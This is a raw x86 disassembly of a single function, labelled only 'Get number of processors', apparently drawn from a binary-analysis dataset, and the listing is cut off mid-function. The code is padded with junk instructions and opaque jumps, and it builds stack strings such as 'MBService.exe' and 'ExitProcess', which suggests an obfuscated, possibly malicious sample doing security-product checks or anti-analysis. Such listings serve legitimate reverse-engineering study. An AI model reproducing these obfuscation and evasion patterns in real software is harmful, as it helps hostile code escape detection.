Function at 0x4257a2
Capabilities:
Get number of processors

Disassembly:
xor ecx, ecx
mov dword [eax + 0x10], ecx
mov edx, 7
mov dword [eax + 0x14], edx
push esi
xor esi, esi
mov word [eax], si
mov dword [eax + 0x30], edx
mov dword [eax + 0x2c], ecx
mov word [eax + 0x1c], si
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], ecx
mov word [eax + 0x55], si
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push ecx
push ecx
add esp, 4
add ecx, 0x4f5c
add ecx, 0x10995
sub ecx, 0x8bfc
pop ecx
push edx
and edx, 0x146
or edx, 0x7e39
sub edx, 0xf0d8
xor edx, 0x10509
pop edx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push edx
call 0x4214b1
add byte [0x4c353b47], dh
cmp eax, 0x4c48345
xor edx, 0xf3bb
pop edx
push esi
sub esi, 0xbdfd
and esi, 0x3db2
pop esi
push esi
push eax
add esp, 4
sub esi, 0xfd1e
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ecx
sub ecx, 0x16442
call 0x421524
add byte [ebp + ecx*2 + 0x35], cl
cmp cl, byte [ecx + 0x32]
inc edx
add esp, 4
and ecx, 0x12744
or ecx, 0x104c0
pop ecx
push esi
and esi, 0x16814
or esi, 0x75aa
pop esi
mov dword [ebp - 0x10], 1
push esi
and esi, 0x7938
sub esi, 0x136a3
jmp 0x42155e
and esi, 0xec9c
pop esi
push edi
xor edi, 0x12371
sub edi, 0x1f6d
pop edi
push esi
add esi, 0x1757c
pop esi
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
add byte [eax], al
sub edx, ecx
mov dword [ebp - 0x14], edx
push esi
push esi
add esp, 4
xor esi, 0x77df
pop esi
push ecx
or ecx, 0x526e
and ecx, 0x4fdb
pop ecx
push esi
push ebx
add esp, 4
and esi, 0xbf5
pop esi
push ecx
push eax
add esp, 4
xor ecx, 0xfdb0
pop ecx
push edi
push ebx
add esp, 4
call 0x4215ed
add byte [ebx + 0x42], cl
inc eax
cmp eax, 0x3a4a393b
inc ebx
add esp, 4
pop edi
push eax
and eax, 0x12410
sub eax, 0x7bca
or eax, 0x70ff
and eax, 0x15217
pop eax
mov dword [ebp - 0x2c], 1
push esi
push ebx
add esp, 4
xor esi, 0xaafa
xor esi, 0x3d52
pop esi
push ecx
jmp 0x42162e
add ecx, 0x68f7
jmp 0x42163d
or ecx, 0xddd1
pop ecx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x421825
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push edi
push edx
add esp, 4
sub edi, 0xf0e8
sub edi, 0xe6f0
add edi, 0x1659d
pop edi
push ebx
sub ebx, 0x152d6
or ebx, 0xa5f6
or ebx, 0x2a08
sub ebx, 0x16979
pop ebx
push edi
push esi
add esp, 4
sub edi, 0x2046
or edi, 0xf1dc
and edi, 0x139b
pop edi
push esi
push edi
add esp, 4
and esi, 0xdcfc
pop esi
push esi
and esi, 0xa010
or esi, 0x35ce
pop esi
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push edi
push ebx
add esp, 4
xor edi, 0x9e09
pop edi
push edx
add edx, 0x2526
call 0x4218eb
add byte [eax + 0x4c], al
dec ecx
aaa
inc ebp
dec esp
dec eax
add esp, 4
pop edx
push ecx
add ecx, 0x17489
sub ecx, 0x4b90
pop ecx
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x421959
mov dword [ebp - 0x149c], 1
jmp 0x421963
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x4249d6
push ecx
push eax
add esp, 4
xor ecx, 0x4d
jmp 0x42198f
xor ecx, 0x7999
xor ecx, 0x7644
pop ecx
push ecx
and ecx, 0x12bd3
and ecx, 0x13880
add ecx, 0x14d55
pop ecx
push edi
push edx
add esp, 4
call 0x4219c1
add byte [eax + edx*2], bh
inc edx
cmp dword [ebx + 0x4e], eax
add esp, 4
and edi, 0xa4a9
call 0x4219d8
add byte [edx + ecx*2 + 0x4c], al
xor eax, 0x50393e4b
add esp, 4
sub edi, 0x15a0f
pop edi
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x421b5d
push ebx
add ebx, 0x3295
jmp 0x421a38
and ebx, 0x11299
pop ebx
push esi
push ebx
add esp, 4
call 0x421a51
add byte [ebp + 0x38], cl
xor bh, byte [eax]
aas
dec ecx
add esp, 4
jmp 0x421a5a
pop esi
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push edx
call 0x421abb
add byte [eax], al
add byte [edi + 0x37], al
cmp al, 0x3c
xor dh, byte [ebx]
cmp al, byte ss:[ebx + 0x4eb04c4]
xor al, 0x4c
xor al, 0x81
loop 0x421af9
inc ebp
add dword [eax], eax
jmp 0x421ad2
pop edx
push eax
push ebx
add esp, 4
jmp 0x421add
pop eax
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edx
push esi
add esp, 4
sub edx, 0xdffb
pop edx
push edi
jmp 0x421b3e
retf 0x8d33
jmp 0x421b46
pop edi
push esi
add esi, 0x421b
and esi, 0x1116d
jmp 0x421b5c
pop esi
push ecx
or ecx, 0x12a84
xor ecx, 0x11a1e
pop ecx
push esi
sub esi, 0x17071
or esi, 0xcee3
pop esi
push ecx
and ecx, 0x370e
jmp 0x421b88
jmp 0x421b8e
pop ecx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push edx
sub edx, 0x1085b
or edx, 0x12f8f
or edx, 0xcdc3
pop edx
push edi
push edx
add esp, 4
or edi, 0x7274
add edi, 0x3aef
sub edi, 0x1c6d
and edi, 0x6eb
pop edi
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push edx
push eax
add esp, 4
or edx, 0x61d9
call 0x421c7b
add byte [ecx + 0x41], al
dec ecx
dec ecx
dec ebp
inc ecx
inc esp
add esp, 4
and edx, 0x6fed
call 0x421c90
add byte [ebp + 0x32], cl
dec ebx
inc ecx
dec esi
dec ebx
add esp, 4
pop edx
mov dword [ebp - 0x14a4], 1
push edi
or edi, 0xefa0
pop edi
push edx
call 0x421cb6
add byte [eax + 0x4d], cl
dec ebp
xor bh, byte [esi + eax*2]
inc esi
dec esp
xor al, byte [ebx - 0x1d7efb3c]
sub byte [edx], ch
add dword [eax], eax
pop edx
push esi
sub esi, 0x162a7
pop esi
push esi
or esi, 0x151c7
pop esi
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push edx
push ebx
add esp, 4
and edx, 0xfec5
pop edx
push eax
push esi
add esp, 4
xor eax, 0xedd3
xor eax, 0x40ef
pop eax
push esi
push edx
add esp, 4
and esi, 0x75c9
pop esi
push ecx
and ecx, 0x17e7e
pop ecx
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push ebx
jmp 0x421d81
pop ebx
push eax
jmp 0x421d8c
pop eax
push edx
push eax
add esp, 4
or edx, 0xae83
xor edx, 0x145a0
and edx, 0x2ac
and edx, 0xf3e5
pop edx
push edx
push eax
add esp, 4
jmp 0x421db6
pop edx
push edi
push ecx
add esp, 4
or edi, 0xdf09
pop edi
push ecx
and ecx, 0x9c6a
add ecx, 0x1364d
or ecx, 0x3e2
or ecx, 0x1543f
pop ecx
mov edx, dword [ebp - 0x928]
add edx, 0x138
imul eax, dword [ebp - 0x924], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x924], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x924]
mov dword [ebp - 0x1d4c], edx
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d50], edx
mov eax, dword [ebp - 0x1d50]
sub eax, 0x6e
mov dword [ebp - 0x1d54], eax
mov dword [ebp - 0xa08], 1
push edi
sub edi, 0x8eb5
or edi, 0x142b7
add edi, 0x16a8d
pop edi
push esi
push ebx
add esp, 4
add esi, 0xb945
jmp 0x421e5d
and esi, 0x14cbb
sub esi, 0x182c0
pop esi
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d54]
imul ecx, dword [ebp - 0xa08]
imul eax, dword [ebp - 0xa08], 0x138
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
push esi
add esi, 0x2b5f
xor esi, 0x116b2
sub esi, 0xa6d5
pop esi
push edi
push eax
add esp, 4
sub edi, 0x14585
xor edi, 0xcabf
add edi, 0x330
add edi, 0x5e71
pop edi
mov ecx, dword [ebp - 0x928]
add ecx, 0x138
imul edx, dword [ebp - 0x924], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x924], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x924]
mov dword [ebp - 0x1d58], ecx
mov ecx, dword [ebp - 0x1d58]
mov dword [ebp - 0x1d5c], ecx
mov edx, dword [ebp - 0x1d5c]
add edx, 0x38
mov dword [ebp - 0x1d60], edx
mov dword [ebp - 0xa10], 1
push esi
push ebx
add esp, 4
and esi, 0xd7f8
pop esi
push ecx
and ecx, 0x101e0
pop ecx
push esi
xor esi, 0x156b5
and esi, 0x137dd
call 0x421f61
add byte [esi + 0x47], cl
cmp dword [eax + 0x4a], edx
dec edi
add esp, 4
pop esi
imul eax, dword [ebp - 0xa10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0xa10], 0x138
sub eax, ecx
xor eax, dword [ebp - 0x1d60]
imul eax, dword [ebp - 0xa10]
imul edx, dword [ebp - 0xa10], 0x138
sub eax, edx
mov dword [ebp - 0xa14], eax
push ebx
push edx
add esp, 4
sub ebx, 0xf989
call 0x421fb6
add byte [ebp + 0x49], al
xor esi, dword [0xc4833736]
add al, 0xeb
add eax, dword [esi + 0x3c]
dec ebp
and ebx, 0x12bb9
pop ebx
push eax
push ebx
add esp, 4
and eax, 0xe349
pop eax
push eax
push edi
add esp, 4
or eax, 0x457d
xor eax, 0xbf2a
pop eax
push eax
or eax, 0x1642e
call 0x421ff9
add byte [eax + 0x34], cl
inc edx
cmp bh, byte [eax]
cmp eax, 0x833f4545
les eax, [ecx + eax*4]
enter 0x2f55, 1
add byte [eax - 0x39], bl
test dword [eax], esi
std
invalid
mov dword [ebp - 0x3c0], 0
call 0x4249e5
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push ebx
and ebx, 0xc1e7
call 0x424a04
add byte [edi], bh
inc ecx
inc eax
cmp al, 0x37
inc esp
add esp, 4
or ebx, 0x3204
and ebx, 0x11d0d
pop ebx
push eax
jmp 0x424a1c
xor eax, 0x15aef
pop eax
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push ebx
push eax
add esp, 4
call 0x424a43
add byte [ebx + 0x43], al
xor eax, 0x383a4c4e
dec esp
aaa
add esp, 4
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x16e37
and eax, 0xad34
pop eax
push eax
sub eax, 0x13eda
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ecx
push edi
add esp, 4
jmp 0x424ab5
pop ecx
push ecx
or ecx, 0x185af
and ecx, 0x4a7b
pop ecx
push esi
jmp 0x424aca
pop esi
push edx
add edx, 0x51ee
pop edx
push edi
sub edi, 0x30fe
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
or eax, 0xb020
sub eax, 0x3787
xor eax, 0xfb49
pop eax
push esi
push esi
add esp, 4
add esi, 0x572e
and esi, 0x858d
xor esi, 0x145a4
and esi, 0x5a48
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push esi
or esi, 0xa5eb
jmp 0x424b7b
jmp 0x424b80
pop esi
push ecx
add ecx, 0x168ae
add ecx, 0x17732
add ecx, 0x14564
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x1119f
pop ebx
mov dword [ebp - 0x1fa4], 0xe
push eax
call 0x424bba
add byte [esi], bh
inc eax
dec ebx
dec ecx
dec ecx
aas
inc edi
add esp, 4
call 0x424bcd
add byte [eax + 0x43], cl
inc esp
xor eax, dword ss:[eax + eax*2 + 0x4e]
inc ebp
dec esi
add esp, 4
sub eax, 0x8cbf
and eax, 0x1073e
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ebx
add ebx, 0x14556
or ebx, 0xf149
pop ebx
push esi
push edi
add esp, 4
xor esi, 0xc3ba
call 0x424c17
add byte [esi], bh
xor edi, dword [esi]
dec eax
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0xeb
pop es
cmp eax, 0x4a363d47
pop esi
mov dword [ebp - 0x1fa8], 0xffffffff
push esi
push edx
add esp, 4
and esi, 0x5ccb
pop esi
push edx
or edx, 0xf6df
pop edx
push edx
push ebx
add esp, 4
sub edx, 0xaecc
add edx, 0x10e72
jmp 0x424c59
add edx, 0xeb5f
pop edx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x424c7d
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
sub ecx, 0x4566
call 0x424c93
add byte [ebp + esi + 0x45], al
dec edi
dec eax
dec edi
cmp ecx, dword [eax + 0x43]
add esp, 4
sub ecx, 0x6f03
call 0x424cab
add byte [ebx + 0x45], cl
dec ecx
aaa
cmp byte [edi + 0x37], cl
cmp eax, dword [edx - 0x7d]
les eax, [ecx + ebx*2]
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x424cf7
push eax
push esi
add esp, 4
jmp 0x424ccb
or eax, 0x12bbc
and eax, 0xa988
pop eax
push ebx
or ebx, 0x3b83
sub ebx, 0xb183
pop ebx
push ebx
push eax
add esp, 4
add ebx, 0x45c5
pop ebx
jmp 0x424f25
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ebx
push esi
add esp, 4
xor ebx, 0x3c74
or ebx, 0x12182
and ebx, 0x3d9c
pop ebx
push edi
xor edi, 0x10fc1
pop edi
push eax
push ebx
add esp, 4
sub eax, 0xa24
or eax, 0x9335
pop eax
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x424da6
push edx
push edi
add esp, 4
xor edx, 0x105b1
add edx, 0x9b35
or edx, 0x3460
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0xa719
pop ebx
push edi
and edi, 0x2b13
sub edi, 0x3abf
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x424ed7
cmp dword [ebp - 0xc08], 0
jle 0x424ecb
push edx
xor edx, 0xb46b
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x8d99
add ebx, 0x8f6c
or ebx, 0x10971
sub ebx, 0x16adb
pop ebx
push ebx
push eax
add esp, 4
add ebx, 0x9d2f
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x424e67
push ebx
sub ebx, 0xbd60
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0xbfbb
call 0x424e1d
add byte [ecx], bh
inc edi
dec esi
xor al, 0x50
inc edx
xor eax, dword [esi + 0x47]
add esp, 4
add esi, 0x49ea
add esi, 0x10bd8
pop esi
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x424e4f
mov dword [ebp - 0x14c0], 1
jmp 0x424e59
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x424ecb
push edx
push ecx
add esp, 4
or edx, 0x7629
add edx, 0x5b56
or edx, 0xa381
add edx, 0xae70
pop edx
push ebx
jmp 0x424e8c
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x6177
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x424da6
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x424f20
push ecx
and ecx, 0x1790a
or ecx, 0x427a
jmp 0x424ef4
or ecx, 0x5c26
pop ecx
push ecx
push eax
add esp, 4
jmp 0x424f09
pop ecx
push edx
or edx, 0x389a
pop edx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x424f61
jmp 0x424c6e
push ebx
push edx
add esp, 4
and ebx, 0xaba2
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x1840b
pop edx
push eax
or eax, 0x6d8a
xor eax, 0x1330c
sub eax, 0x124ef
and eax, 0x1c68
pop eax
mov dword [ebp - 0x3cc], 0
push ebx
push esi
add esp, 4
add ebx, 0x5b0f
call 0x424f79
add byte [ecx + eax*2], dh
inc ecx
cmp dword [ecx], edi
inc esi
cmp al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [edx + 0x42], al
dec ecx
cmp bh, byte ss:[0x8104c483]
jecxz 0x42500e
jno 0x424f92
add byte [ebx + 0x50], bl
pop ebx
push eax
and eax, 0x113a7
pop eax
push ebx
push ebx
add esp, 4
jmp 0x424fa9
xor ebx, 0xce6e
xor ebx, 0x10913
call 0x424fc1
add byte [edx], dh
inc ecx
dec ecx
inc esp
add esp, 4
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
push ecx
add esp, 4
sub edx, 0xb248
xor edx, 0x133f4
or edx, 0xf843
pop edx
push ebx
sub ebx, 0x13f73
pop ebx
push ebx
push esi
add esp, 4
sub ebx, 0x141c2
or ebx, 0x1106d
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push eax
or eax, 0xb6ac
add eax, 0x12c94
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x157d7
pop ebx
push edi
call 0x42503e
add byte [edx + 0x4f], al
inc ecx
xor dh, byte [edx]
dec ebx
dec esp
add esp, 4
sub edi, 0x17731
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x425065
push esp
loopne 0x425010
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
sub eax, 0x4fc1
add eax, 0x419e
add eax, 0x2f9d
jmp 0x42507e
pop eax
push ecx
and ecx, 0xe9a0
pop ecx
push edi
and edi, 0xb0b1
pop edi
push ebx
xor ebx, 0xd3f6
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4250df
push ecx
push ebx
add esp, 4
or ecx, 0x121f8
pop ecx
push edi
push ebx
add esp, 4
and edi, 0x15e32
or edi, 0xdd2f
add edi, 0xe4a
and edi, 0xf75b
pop edi
push ecx
sub ecx, 0x14dd7
pop ecx
jmp 0x42530d
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
xor eax, 0x3abe
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x556c
xor ecx, 0x8042
pop ecx
push ecx
push edx
add esp, 4
xor ecx, 0x3dfe
pop ecx
push eax
push edx
add esp, 4
xor eax, 0x11e1a
pop eax
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x42518e
push ebx
add ebx, 0x8b9e
call 0x42515f
add byte [ecx + 0x47], al
inc ebx
inc ebp
aaa
cmp cl, byte [edx - 0x7d]
les eax, [ebx + ebx*2]
push edi
push ebx
add esp, 4
sub edi, 0x3ad0
and edi, 0xcabb
pop edi
push eax
add eax, 0x122a1
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4252bf
cmp dword [ebp - 0xc10], 0
jle 0x4252b3
push edi
add edi, 0x12a42
or edi, 0xc485
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0xd073
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0x17682
and ebx, 0x14734
or ebx, 0x907c
pop ebx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x42524f
push edx
push edi
add esp, 4
call 0x4251f8
add byte [0x4a4a3935], bh
cmp byte [edi + esi], dh
dec edi
cmp byte [ebx + 0xbe804c4], al
add byte [eax], al
add byte [eax], al
xor al, 0x33
aaa
dec esp
inc ebx
dec ecx
dec esp
dec esp
add esp, 4
add edx, 0x3a69
pop edx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x425237
mov dword [ebp - 0x14cc], 1
jmp 0x425241
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x4252b3
push ebx
call 0x42525d
add byte [ebp + 0x48], al
xor eax, dword [ecx + 0x4c]
inc edi
cmp al, 0x83
les eax, [ebx + ebx*2]
push esi
push esi
add esp, 4
jmp 0x42526e
add esi, 0xaa3c
and esi, 0x75e5
add esi, 0xcd99
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x42518e
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x425308
push edx
push eax
add esp, 4
xor edx, 0x16eb3
pop edx
push edx
push esi
add esp, 4
call 0x4252e5
add byte [esi + 0x38], al
xor al, 0x38
cmp eax, dword [esi - 0x7d]
les eax, [ebx + ebp*8]
add esi, dword [0xf2814b46]
pop ss
lodsd eax, dword [esi]
add byte [eax], al
sub edx, 0xa0dd
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x425349
jmp 0x425056
push eax
and eax, 0x2244
call 0x425323
add byte [esi + 0x38], al
dec esp
dec eax
dec edi
cmp eax, 0xc4834f39
add al, 0x58
push ebx
push ebx
add esp, 4
xor ebx, 0x18422
xor ebx, 0xe0e8
xor ebx, 0xdd5a
pop ebx
mov dword [ebp - 0xa5c], 0
push eax
and eax, 0xfbb0
xor eax, 0x895e
add eax, 0xa76b
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x141f3
and eax, 0x313c
pop eax
push edx
push ecx
add esp, 4
sub edx, 0xc0cb
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push edi
add esp, 4
sub ebx, 0x11ed5
or ebx, 0x5239
pop ebx
push esi
sub esi, 0xdde2
pop esi
push esi
push ebx
add esp, 4
sub esi, 0x14770
xor esi, 0x12b7f
add esi, 0x14356
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
